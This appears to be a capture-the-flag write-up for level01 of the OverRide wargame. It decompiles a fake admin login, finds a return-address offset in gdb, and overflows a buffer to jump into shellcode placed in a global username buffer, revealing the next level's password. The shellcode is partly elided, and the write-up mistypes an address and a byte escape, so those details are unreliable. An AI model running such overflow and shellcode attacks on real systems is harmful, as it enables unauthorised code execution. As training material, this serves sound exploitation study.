

./level01

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RELRO           STACK CANARY      NX       PIE      RPATH      RUNPATH     FILE
Partial RELRO  No canary found  NX disabled  No PIE   No RPATH  No RUNPATH /home/users/level01/level01
level01@OverRide:~$
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Decompiled file with **Ghidra**:

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char a_user_name[100];

int verify_user_name(void)
{
    puts("verifying username....\n");
    return strncmp(a_user_name, "dat_wil", 7);
}

int verify_user_pass(char *passwordInput)
{
    return strncmp(passwordInput, "admin", 5);
}

int main(void)
{
    char passwordInput[64] = {0};
    int result;

    puts("***** ADMIN LOGIN PROMPT *****\n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    result = verify_user_name();
    if (result == 0)
    {
        puts("Enter Password: \n");
        fgets(passwordInput, 100, stdin);

        result = verify_user_pass(passwordInput);
        if (result == 0 || result != 0)
        {
            puts("nope, incorrect password...\n");
            return EXIT_FAILURE;
        }
        else
            return EXIT_SUCCESS;
    }
    else
    {
        puts("nope, incorrect username...\n");
        return EXIT_FAILURE;
    }
}
```



./level01²

This program is a mimic of an admin login prompt.

It compares the username input to **dat_wil** and the password to **admin**. However, due to a logical flaw in the code, even if the **password** is correct, the program will incorrectly inform the user that the **password** is incorrect.

This is because the condition in the if statement **if (result == 0 || result != 0)** will always be true. Therefore, the program will always output **nope, incorrect password...** even for the correct password.

One of the strategies that come to mind is the deployment of a **shellcode**, akin to tactics employed in the Rainfall project. This method involves placing both the correct username **dat_wil** and the shellcode within the **a_user_name** global variable, which is at the address **0x0804a040**.

For the password, the goal is to cause a *buffer overflow* to overwrite the return address of the main function, redirecting it to our shellcode which would then execute starting from the address **0x0804Aa47** (**0x0804a040 + 7** as the username **dat_wil** has a length of **7** bytes).

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level01@OverRide:~$ gdb ./level01

(gdb) run
Starting program: /home/users/level01/level01
***** ADMIN LOGIN PROMPT *****
Enter Username: dat_wil
verifying username.....

Enter Password:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
nope, incorrect password...

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? () << offset = 80

level01@OverRide:~$ {
python -c 'print("dat_wil\x31\xc9\xf7\xe1\x51\x68\...\xe3\xb0\x0b\xcd\x80")';
python -c 'print ("A"*80 + "\x47\x a0\x04\x08")';
cat <<< "cd ../level02 && cat .pass";
} | ./level01

***** ADMIN LOGIN PROMPT *****
Enter Username: verifying username.....

Enter Password:
nope, incorrect password...

PwBLgNa8p8MTKw57S7zxVAQCxnCpV8JqTTs9XEbv

level01@OverRide:~$ su level02
Password: PwBLgNa8p8MTKw57S7zxVAQCxnCpV8JqTTs9XEbv

level02@OverRide:~$
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